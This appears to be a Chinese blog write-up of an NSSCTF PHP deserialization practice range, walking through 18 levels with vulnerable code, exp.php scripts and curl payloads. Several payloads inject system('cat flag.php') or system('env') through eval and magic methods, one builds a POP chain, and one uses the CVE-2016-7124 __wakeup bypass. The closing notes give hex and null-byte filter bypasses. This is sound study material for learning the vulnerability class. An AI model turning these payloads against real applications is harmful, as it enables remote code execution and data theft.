反序列化靶场 - Zsm's blog

前言#

不会web不会web不会web不会web不会web不会web不会web不会web不会web不会web不会web不会web不会web不会web

我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手我要当web高手

靶机#

Level1#

1
<?php
2

3
class FLAG{
4
    public $flag_string = "NSSCTF{？？？？}";
5

6
    function __construct(){
7
        echo $this->flag_string;
8
    }
9
}
10

11
$code = $_POST['code'];
12

13
eval($code);

function __construct()的函数特性，当new一个东西的时候，会自动执行这个函数，所以post发送new FLAG();就会执行flag函数了，就有flag了

payload: curl -X POST -d “code=new FLAG();” http://node6.anna.nssctf.cn:22455/Level1/index.php

Level2#

1
<?php
2

3
error_reporting(0);
4

5
 $flag_string = "NSSCTF{？？？？}";
6

7
 class FLAG{
8
        public $free_flag = "???";
9

10
        function get_free_flag(){
11
            echo $this->free_flag;
12
        }
13
    }
14
$target = new FLAG();
15

16
$code = $_POST['code'];
17

18
if(isset($code)){
19
       eval($code);
20
       $target->get_free_flag();
21
}
22
else{
23
    highlight_file('source');
24
}
25
Now Flag is ???

->符号可以修改指向的变量，但是这种方法对public的才有作用，如果是protected 和 private需要更复杂的方法。

那么这个题，$flag_string赋值给$free_flag，这样eval执行就可以输出出来了。

payload: curl -X POST -d “code=$target->free_flag=$flag_string;” http://node1.anna.nssctf.cn:25202/Level2/index.php

Level3#

1
<?php
2

3
class FLAG{
4
    public $public_flag = "NSSCTF{?";
5
    protected $protected_flag = "?";
6
    private $private_flag = "?}";
7

8
    function get_protected_flag(){
9
        return $this->protected_flag;
10
    }
11

12
    function get_private_flag(){
13
        return $this->private_flag;
14
    }
15
}
16

17
class SubFLAG extends FLAG{
18
    function show_protected_flag(){
19
        return $this->protected_flag;
20
    }
21

22
    function show_private_flag(){
23
        return $this->private_flag;
24
    }
25
}
26

27
$target = new FLAG();
28
$sub_target = new SubFLAG();
29

30

31
$code = $_POST['code'];
32

33
if(isset($code)){
34
    eval($code);
35
} else {
36
    highlight_file(__FILE__);
37
    echo "Trying to get FLAG...<br>";
38
    echo "Public Flag: ".$target->public_flag."<br>";
39
    echo "Protected Flag:".$target->protected_flag ."<br>";
40
    echo "Private Flag:".$target->private_flag ."<br>";
41
}
42

43
?>
44
Trying to get FLAG...
45
Public Flag: NSSCTF{se3_me_
46
Protected Flag: Error: Cannot access protected property FLAG:: in ?
47
Private Flag: Error: Cannot access private property FLAG:: in ?
48
...Wait,where is the flag?

看变量类型public protected private，主要是继承和访问权限不同。

SubFLAG函数继承了FLAG，受保护变量protected_flag是可以继承的，所以两个get_xxx函数可以访问，get_private_flag可以访问private_flag，私有变量不能继承。而对象中函数的调用和值的访问类似，也通过 -> 符号实现：$对象名 -> 函数名();

payload: curl -X POST -d “code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();” http://node1.anna.nssctf.cn:26490/Level3/index.php

Level4#

1
<?php
2

3
class FLAG3{
4
    private $flag3_object_array = array("？","？");
5
}
6

7
class FLAG{
8
     private $flag1_string = "？";
9
     private $flag2_number = '?';
10
     private $flag3_object;
11

12
    function __construct() {
13
        $this->flag3_object = new FLAG3();
14
    }
15
}
16

17
$flag_is_here = new FLAG();
18

19

20
$code = $_POST['code'];
21

22
if(isset($code)){
23
    eval($code);
24
} else {
25
    highlight_file(__FILE__);
26
}

flag_is_here存了flag，用serialize拉出来flag_is_here，无视private限制，拉出来flag1_string，发现flag3_object是另一个对象，于是又跳FLAG3类里提取数组内容。

payload: curl -X POST -d “code=echo serialize($flag_is_here);” http://node1.anna.nssctf.cn:25610/Level4/index.php —output -

Level5#

1
<?php
2

3
class a_class{
4
    public $a_value = "NSSCTF";
5
}
6
$a_object = new a_class();
7
$a_array = array(a=>"Hello",b=>"CTF");
8
$a_string = "NSSCTF";
9
$a_number = 678470;
10
$a_boolean = true;
11
$a_null = null;
12

13
See How to serialize:
14
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
15
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
16
a_string: s:6:"NSSCTF";
17
a_number: i:678470;
18
a_boolean: b:1;
19
a_null: N;
20
Now your turn!
21
<?php
22

23
$your_object = unserialize($_POST['o']);
24
$your_array = unserialize($_POST['a']);
25
$your_string = unserialize($_POST['s']);
26
$your_number = unserialize($_POST['i']);
27
$your_boolean = unserialize($_POST['b']);
28
$your_NULL = unserialize($_POST['n']);
29

30
if(
31
    $your_boolean &&
32
    $your_NULL == null &&
33
    $your_string == "IWANT" &&
34
    $your_number == 1 &&
35
    $your_object->a_value == "FLAG" &&
36
    $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
37
){
38
    echo $flag;
39
}
40
else{
41
    echo "You really know how to serialize?";
42
}
43

44

45
You really know how to serialize?

编写对应的变量进行序列化，将字符串赋给对应参数即可

exp.php

1
<?php
2
class a_class
3
{
4
  public $a_value = "FLAG";
5
}
6

7
$a_object = new a_class();
8
$a_string = "IWANT";
9
$a_number = 1;
10
$a_boolean = true;
11
$a_null = null;
12
$a_array = array('a' => "Plz", 'b' => "Give_M3");
13
$flag = "o=" . serialize($a_object) . "&s=" . serialize($a_string) . "&a=" . serialize($a_array) . "&i=" . serialize($a_number) . "&b=" . serialize($a_boolean) . "&n=" . serialize($a_NULL);
14

15
echo $flag;

Level6#

1
<?php
2

3
class protectedKEY{
4
    protected $protected_key;
5

6
    function get_key(){
7
        return $this->protected_key;
8
    }
9
}
10

11
class privateKEY{
12
    private $private_key;
13

14
    function get_key(){
15
        return $this->private_key;
16
    }
17

18
}
19
See Carfully~
20
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
21
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
22
<?php
23

24
$protected_key = unserialize($_POST['protected_key']);
25
$private_key = unserialize($_POST['private_key']);
26

27
if(isset($protected_key)&&isset($private_key)){
28
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
29
        echo $flag;
30
    } else {
31
        echo "We Call it %00_Contr0l_Characters_NULL!";
32
    }
33
} else {
34
    highlight_file(__FILE__);
35
}

在 PHP 中，public、protected 和 private 属性在序列化后的表现形式各不相同，特别是不可见字符 %00（NULL 字节）的使用。

public在序列化后是属性名，正常显示，无特殊字符。 protected在序列化后是\0*\0属性名。 private在序列化后是\0类名\0属性名。

再看这个题protectedKEY和privateKEY，分别序列化就行，然后post传过去

payload: curl -X POST -d ‘protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D’ http://node1.anna.nssctf.cn:20561/Level6/index.php

exp.php

1
<?php
2
class protectedKEY
3
{
4
  protected $protected_key = "protected_key";
5
}
6

7
class privateKEY
8
{
9
  private $private_key = "private_key";
10
}
11

12
echo urlencode(serialize(new protectedKEY()));
13
echo "\n";
14
echo urlencode(serialize(new privateKEY()));

Level7#

1
<?php
2

3
class FLAG{
4
    public $flag_command = "echo 'Hello CTF!<br>';";
5

6
    function backdoor(){
7
        eval($this->flag_command);
8
    }
9
}
10

11
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
12

13
$Instantiate_object = new FLAG(); // 实例化的对象
14

15
$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象
16

17
$Instantiate_object->backdoor();
18

19
$Unserialize_object->backdoor();
20
'$Instantiate_object->backdoor()' will output:Hello CTF!
21
'$Unserialize_object->backdoor()' will output:Hello World!
22

23
<?php /* Now Your Turn */
24
unserialize($_POST['o'])->backdoor();

主要是点在于执行backdoor这里，我直接改成执行其他的就行，比如拿flag

payload: curl -X POST -d “o=O%3A4%3A%22FLAG%22%3A1%3A%7Bs%3A12%3A%22flag%5Fcommand%22%3Bs%3A23%3A%22system%28%27cat%20flag%2Ephp%27%29%3B%22%3B%7D” http://node1.anna.nssctf.cn:26209/Level7/index.php

exp.php

1
<?php
2
class FLAG
3
{
4
  public $flag_command = "system('cat flag.php');";
5
}
6

7
$a = new FLAG();
8
echo serialize($a);

Leval8#

1
<?php
2

3
global $destruct_flag;
4
global $construct_flag;
5
$destruct_flag = 0;
6
$construct_flag = 0;
7

8
class FLAG {
9
    public $class_name;
10
    public function __construct($class_name)
11
    {
12
        $this->class_name = $class_name;
13
        global $construct_flag;
14
        $construct_flag++;
15
        echo "Constructor called " . $construct_flag . "<br>";
16
    }
17
    public function __destruct()
18
    {
19
        global $destruct_flag;
20
        $destruct_flag++;
21
        echo "Destructor called " . $destruct_flag . "<br>";
22
    }
23
}
24

25
/*Object created*/
26
$demo = new FLAG('demo');
27

28
/*Object serialized*/
29
$s = serialize($demo);
30

31
/*Object unserialized*/
32
$n = unserialize($s);
33

34
/*unserialized object destroyed*/
35
unset($n);
36

37
/*original object destroyed*/
38
unset($demo);
39

40
/*注意 此处为了方便演示为手动释放，一般情况下，当脚本运行完毕后，php会将未显式销毁的对象自动销毁，该行为也会调用析构函数*/
41

42
/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存，销毁不被引用的对象:*/
43
new FLAG();
44
Object created:Constructor called 1
45
Object serialized: But Nothing Happen(:
46
Object unserialized:But nothing happened either):
47
serialized Object destroyed:Destructor called 1
48
original Object destroyed:Destructor called 2
49

50
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
51
Destructor called 3
52

53
Now Your Turn!, Try to get the flag!
54
<?php
55

56
class RELFLAG {
57

58
    public function __construct()
59
    {
60
        global $flag;
61
        $flag = 0;
62
        $flag++;
63
        echo "Constructor called " . $flag . "<br>";
64
    }
65
    public function __destruct()
66
    {
67
        global $flag;
68
        $flag++;
69
        echo "Destructor called " . $flag . "<br>";
70
    }
71
}
72

73
function check(){
74
    global $flag;
75
    if($flag > 5){
76
        echo "HelloCTF{???}";
77
    }else{
78
        echo "Check Detected flag is ". $flag;
79
    }
80
}
81

82
if (isset($_POST['code'])) {
83
    eval($_POST['code']);
84
    check();
85
}

主要是构造函数__construct和析构函数__destruct两个函数，以及GC机制。

构造函数只会在类实例化的时候 —— 也就是使用 new 的方法手动创建对象的时候才会触发，而通过反序列化创建的对象不会触发这一方法，这也是为什么，在前面的内容，我将反序列化的对象创建过程称作为 “还原”。

析构函数会在对象被回收的时候触发 —— 手动回收和自动回收。手动：就是代码中演示的 unset 方法用于释放对象。自分：对象没有值引用指向，或者脚本结束完全释放，具体看题目中的演示结合该部分文字应该不难理解。

题目要求全局变量标识符flag的值大于5，根据 __destruct() 和 PHP GC 的特性，我们可以不断地去序列化和反序列化一个对象，然后不给该对象具体的引用以触发自动销毁机制。

payload: curl -X POST -d ‘code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));’ http://node1.anna.nssctf.cn:20197/Level8/index.php

Level9#

1
<?php
2

3
class FLAG {
4
    var $flag_command = "echo 'HelloCTF';";
5
    public function __destruct()
6
    {
7
        eval ($this->flag_command);
8
    }
9
}
10

11
unserialize($_POST['o']);

执行命令就行，flag在env里面

payload: curl -X POST -d ‘o=O%3A4%3A%22FLAG%22%3A1%3A%7Bs%3A12%3A%22flag_command%22%3Bs%3A14%3A%22system%28%27env%27%29%3B%22%3B%7D’ http://node1.anna.nssctf.cn:25326/Level9/index.php

exp.php

1
<?php
2
class FLAG
3
{
4
  var $flag_command = "system('env');";
5
}
6
$exp = "o=" . urlencode(serialize(new FLAG()));
7
echo $exp;

Level10#

1
<?php
2

3
error_reporting(0);
4

5
class FLAG{
6
    function __wakeup() {
7
        include 'flag.php';
8
        echo $flag;
9
    }
10
}
11

12
if(isset($_POST['o']))
13
{
14
    unserialize($_POST['o']);
15
}else {
16
    highlight_file(__FILE__);
17
}
18
?>

这才是记忆里面的反序列化，__wakeup()是魔术方法，unserialize()会检查是否存在__wakeup()方法，如果存在，则会先调用它，预先准备对象需要的资源。

经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。

payload: curl -X POST -d ‘o=O:4:“FLAG”:0:{}’ http://node1.anna.nssctf.cn:22652/Level10/index.php

exp.php

1
<?php
2
class FLAG {}
3

4
$obj = new FLAG();
5
echo urldecode(serialize($obj));

Level11#

1
<?php
2

3
error_reporting(0);
4

5
include 'flag.php';
6

7
class FLAG {
8
    public $flag = "FAKEFLAG";
9

10
    public function  __wakeup(){
11
        global $flag;
12
        $flag = NULL;
13
    }
14
    public function __destruct(){
15
        global $flag;
16
        if ($flag !== NULL) {
17
            echo $flag;
18
        }else
19
        {
20
            echo "sorry,flag is gone!";
21
        }
22
    }
23
}
24

25
if(isset($_POST['o']))
26
{
27
    unserialize($_POST['o']);
28
}else {
29
    highlight_file(__FILE__);
30
    phpinfo();
31
}
32

33
?>

知名漏洞CVE-2016-7124，找点博客看看就行了

payload: curl -X POST -d ‘o=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22FAKEFLAG%22%3B%7D’ http://node1.anna.nssctf.cn:26544/Level11/index.php

exp.php

1
<?php
2
class FLAG
3
{
4
  public $flag = "FAKEFLAG";
5

6
  public function  __wakeup()
7
  {
8
    global $flag;
9
    $flag = NULL;
10
  }
11
  public function __destruct()
12
  {
13
    global $flag;
14
    if ($flag !== NULL) {
15
      echo $flag;
16
    } else {
17
      echo "sorry,flag is gone!";
18
    }
19
  }
20
}
21

22
echo serialize(new FLAG());

Level12#

1
<?php
2

3
class FLAG {
4

5
    private $f;
6
    private $l;
7
    protected $a;
8
    public  $g;
9
    public $x,$y,$z;
10

11
    public function __sleep() {
12
        return ['x','y','z'];
13
    }
14
}
15

16
class CHALLENGE extends FLAG {
17

18
    public $h,$e,$l,$I,$o,$c,$t,$f;
19

20
    function chance() {
21
        return $_GET['chance'];
22
    }
23
    public function __sleep() {
24
        /* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
25
        $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
26
        $_=array_rand($array_list);$__=array_rand($array_list);
27
        return array($array_list[$_],$array_list[$__],$this->chance());
28
    }
29

30
}
31

32
$FLAG = new FLAG();
33
echo serialize($FLAG);
34

35
echo serialize(new CHALLENGE());
36

37

38
If you serialize FLAG, you will just get x,y,z
39
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
40
------ 每次请求会随机返回两个属性，你也可以用 chance 来指定你想要的属性 ------
41
Now __sleep()'s return parameters is array('I','o','you shuold use it')
42
O:9:"CHALLENGE":3:{s:1:"I";s:4:"_is_";s:1:"o";s:7:"called_";s:17:"you shuold use it";N;}

serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。

必要的返回内容：该方法必须返回一个数组: return array(‘属性1’, ‘属性2’, ‘属性3’) / return [‘属性1’, ‘属性2’, ‘属性3’]，数组中的属性名将决定哪些变量将被序列化，当属性被 static 修饰时，无论有无都无法序列化该属性。
私有属性命名：如果需要返回父类中的私有属性，需要使用序列化中的特殊格式 - %00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 “\0” - 注意在双引号中，PHP 才会解析转义字符和变量。)。
未返回任何内容：如果 __sleep() 方法未返回任何内容或返回非数组类型，会触发 E_NOTICE 级别的错误，并且对象会被序列化为 null 空值。

这个题我们在请求的时候会返回两个数组，而这两个随机数组会决定我们看到的序列化字符串中涉及的变量，因此每次请求得到的字符串是不一样的。

$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];每一次随机的字符串都是单字符 —— 这也就意味着，当他调用父类对象中的私有属性时无法显示，因为前面我们说到：“如果需要返回父类中的私有属性，需要使用序列化中的特殊格式 - %00父类名称%00变量名”。看方法chance，自定义反序列化的内容。

$this->chance()会读取chance()表示的变量名，而我们的flag组成如下，即我们收集12个变量即可

payload: curl http://node1.anna.nssctf.cn:22271/Level12/index.php?chance=h等

Level13#

1
<?php
2

3
class FLAG {
4
    function __toString() {
5
        echo "I'm a string ~~~";
6
        include 'flag.php';
7
        return $flag;
8
    }
9
}
10

11
$obj = new FLAG();
12

13
if(isset($_POST['o'])) {
14
    eval($_POST['o']);
15
} else {
16
    highlight_file(__FILE__);
17
}

主要点在于__toString，把这玩意当作字符串执行，那么就会把flag包含进去，自然输出出来了

payload: curl -X POST -d ‘o= $a=new FLAG();echo$ a;’ http://node1.anna.nssctf.cn:21007/Level13/index.php

Level14#

1
<?php
2

3
class FLAG{
4
    function __invoke($x) {
5
        if ($x == 'get_flag') {
6
            include 'flag.php';
7
            echo $flag;
8
        }
9
    }
10
}
11

12
$obj = new FLAG();
13

14
if(isset($_POST['o'])) {
15
    eval($_POST['o']);
16
} else {
17
    highlight_file(__FILE__);
18
}

__invoke函数，定义了get_flag，那么我们执行这个就行

payload: curl -X POST -d ‘o= $a=new FLAG();$ a(‘get_flag’);’ http://node1.anna.nssctf.cn:27354/Level14/index.php

Level15#

1
<?php
2

3
/* FLAG in flag.php */
4

5
class A {
6
    public $a;
7
    public function __construct($a) {
8
        $this->a = $a;
9
    }
10
}
11
class B {
12
    public $b;
13
    public function __construct($b) {
14
        $this->b = $b;
15
    }
16
}
17
class C {
18
    public $c;
19
    public function __construct($c) {
20
        $this->c = $c;
21
    }
22
}
23

24
class D {
25
    public $d;
26
    public function __construct($d) {
27
        $this->d = $d;
28
    }
29
    public function __wakeUp() {
30
        $this->d->action();
31
    }
32
}
33

34
class destnation {
35
    var $cmd;
36
    public function __construct($cmd) {
37
        $this->cmd = $cmd;
38
    }
39
    public function action(){
40
        eval($this->cmd->a->b->c);
41
    }
42
}
43

44
if(isset($_POST['o'])) {
45
    unserialize($_POST['o']);
46
} else {
47
    highlight_file(__FILE__);
48
}

核心点在于

1
public function action(){
2
    eval($this->cmd->a->b->c);
3
}

pop链倒推bro，D里面有__wakeUp可以调用，而unserialize就是起点

exp.php

1
<?php
2
class A
3
{
4
  public $a;
5
}
6
class B
7
{
8
  public $b;
9
}
10
class C
11
{
12
  public $c;
13
}
14
class D
15
{
16
  public $d;
17
}
18
class destnation
19
{
20
  var $cmd;
21
}
22

23
$objC = new C();
24
$objC->c = "system('cat flag.php');";
25
$objB = new B();
26
$objB->b = $objC;
27
$objA = new A();
28
$objA->a = $objB;
29

30
$dest = new destnation();
31
$dest->cmd = $objA;
32
$payload = new D();
33
$payload->d = $dest;
34

35
echo urlencode(serialize($payload));

然后发过去告诉我flag在env里面，改一下发过去就行

Level16#

1
<?php
2

3
class A {
4
    public $a;
5
    public function __invoke() {
6
            include $this->a;
7
            return $flag;
8
    }
9
}
10

11
class B {
12
    public $b;
13
    public function __toString() {
14
        $f = $this->b;
15
        return $f();
16
    }
17
}
18

19

20
class INIT {
21
    public $name;
22
    public function __wakeUp() {
23
        echo $this->name.' is awake!';
24
    }
25
}
26

27
if(isset($_POST['o'])) {
28
    unserialize($_POST['o']);
29
} else {
30
    highlight_file(__FILE__);
31
}

A这指向flag即可，__toString()可以当作跳板去执行A

exp.php

1
<?php
2
class A
3
{
4
  public $a = 'flag.php';
5
}
6

7
class B
8
{
9
  public $b;
10
}
11

12
class INIT
13
{
14
  public $name;
15
}
16

17
$objA = new A();
18
$objB = new B();
19
$objB->b = $objA;
20
$payload = new INIT();
21
$payload->name = $objB;
22

23
echo urlencode(serialize($payload));

payload: curl -X POST -d ‘o=O%3A4%3A%22INIT%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D’ http://node6.anna.nssctf.cn:26176/Level16/index.php

Level17#

1
Class A is NULL: 'O:1:"A":0:{}'
2
Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'
3
After replace B with A,we unserialize it and dump :
4
object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" } <?php
5

6
class A {
7

8
}
9
echo "Class A is NULL: '".serialize(new A())."'<br>";
10

11
class B {
12
    public $a = "Hello";
13
    protected $b = "CTF";
14
    private $c = "FLAG{TEST}";
15
}
16
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";
17

18
$serliseString = serialize(new B());
19

20
$serliseString = str_replace('B', 'A', $serliseString);
21

22
echo "After replace B with A,we unserialize it and dump :<br>";
23
var_dump(unserialize($serliseString));
24

25
if(isset($_POST['o'])) {
26
    $a = unserialize($_POST['o']);
27
    if ($a instanceof A && $a->helloctfcmd == "get_flag") {
28
        include 'flag.php';
29
        echo $flag;
30
    } else {
31
        echo "what's rule?";
32
    }
33
} else {
34
    highlight_file(__FILE__);
35
}

本地搞个A，去搞这个helloctfcmd这个就行

exp.php

1
<?php
2

3
class A
4
{
5
  public $helloctfcmd = "get_flag";
6
}
7

8
echo urlencode(serialize(new A()));

payload: curl -X POST -d ‘o=O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22helloctfcmd%22%3Bs%3A8%3A%22get_flag%22%3B%7D’ http://node6.anna.nssctf.cn:28084/Level17/index.php —output -

Level18#

1
<?php
2

3
highlight_file(__FILE__);
4

5
class Demo {
6
    public $a = "Hello";
7
    public $b = "CTF";
8
    public $key = 'GET_FLAG";}FAKE_FLAG';
9
}
10

11
class FLAG {
12

13
}
14

15
$serliseStringDemo = serialize(new Demo());
16

17
$target = $_GET['target'];
18
$change = $_GET['change'];
19

20
$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);
21

22
$FLAG = unserialize($serliseStringFLAG);
23

24
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
25
    echo $flag;
26
} SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
27
Change SOMETHING TO GET FLAGYour serliaze string is O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
28
And Here is object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }

主要是反序列化的“截断”特性，如果当成员属性的数量，名称长度，内容长度均一致时，在读完指定的属性后遇到了}，他就会认为已经结束了，就会忽略后面所有的字符。

当前的 key 部分是s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG"如果我们把 s:20 改成 s:8，那么就会执行到GET_FLAG

payload: curl ‘http://node6.anna.nssctf.cn:22502/Level18/index.php?target=Demo%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22Hello%22%3Bs%3A1%3A%22b%22%3Bs%3A3%3A%22CTF%22%3Bs%3A3%3A%22key%22%3Bs%3A20&change=FLAG%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22Hello%22%3Bs%3A1%3A%22b%22%3Bs%3A3%3A%22CTF%22%3Bs%3A3%3A%22key%22%3Bs%3A8’

一些知识点#

魔术函数：#

1
__construct() 当一个对象创建时被调用，反序列化不触发
2
__destruct()  当一个对象销毁时被调用
3
__toString()  当一个对象被当作一个字符串使用，比如echo输出或用 . 和字符串拼接
4
__call()      当调用的方法不存在时触发
5
__invoke()    当一个对象被当作函数调用时触发
6
__wakeup()    反序列化时自动调用
7
__get()       类中的属性私有或不存在触发
8
__set()       类中的属性私有或不存在触发

反序列化十六进制绕过关键字#

1
在反序列化时，序列化中的十六进制会被转化成字母
2
当过滤了c2e38 ，即可用 \63\32\65\33\38 替代，S解析十六进制
3
username:y1ng\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
4
password:";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"
5

6
\00 会被替换为 %00
7
\65 会被替换为 e
8

9
过滤了%00，可用S来代替序列化字符串的s来绕过，在S情况下\00 会被解析成%00

序列化时类中私有变量和受保护变量，php7.1+ 对属性并不敏感，public 也可用于protected

private反序列化后是%00(类名)%00(变量名)，protect是%00*%00(变量名)

`__wakeup()`绕过#

适用版本PHP 5 < 5.6.25，PHP 7 < 7.0.10

1
<?php
2
class xctf
3
{
4
    public $flag = "111";
5
    public function __wakeup()
6
    {
7
        exit('bad requests'); // 如果执行了该函数，程序会直接退出
8
    }
9
}
10
//echo serialize(new xctf());
11
echo unserialize($_GET['code']); // 接收 code 参数并反序列化
12
echo "flag{****}"; // 目标：绕过 exit 并执行到这里
13
?>

正确的序列化是O:4:"xctf":1:{s:4:"flag";s:3:"111";}，1代表一个属性，触发__wakeup()，导致退出。

改成O:4:"xctf":2:{s:4:"flag";s:3:"111";}，改成2个属性，因为实际属性只有一个，但声明有两个，PHP 认为格式错误，从而绕过了__wakeup()，导致继续执行，输出flag

总结#

慢慢学慢慢学慢慢学慢慢学慢慢学慢慢学慢慢学慢慢学

Table of Contents

a ctfer on the load

前言#

靶机#

Level1#

Level2#

Level3#

Level4#

Level5#

Level6#

Level7#

Leval8#

Level9#

Level10#

Level11#

Level12#

Level13#

Level14#

Level15#

Level16#

Level17#

Level18#

一些知识点#

魔术函数：#

反序列化十六进制绕过关键字#

`__wakeup()`绕过#

总结#

Table of Contents

a ctfer on the load

前言#

靶机#

Level1#

Level2#

Level3#

Level4#

Level5#

Level6#

Level7#

Leval8#

Level9#

Level10#

Level11#

Level12#

Level13#

Level14#

Level15#

Level16#

Level17#

Level18#

一些知识点#

魔术函数：#

反序列化十六进制绕过关键字#

__wakeup()绕过#

总结#

`__wakeup()`绕过#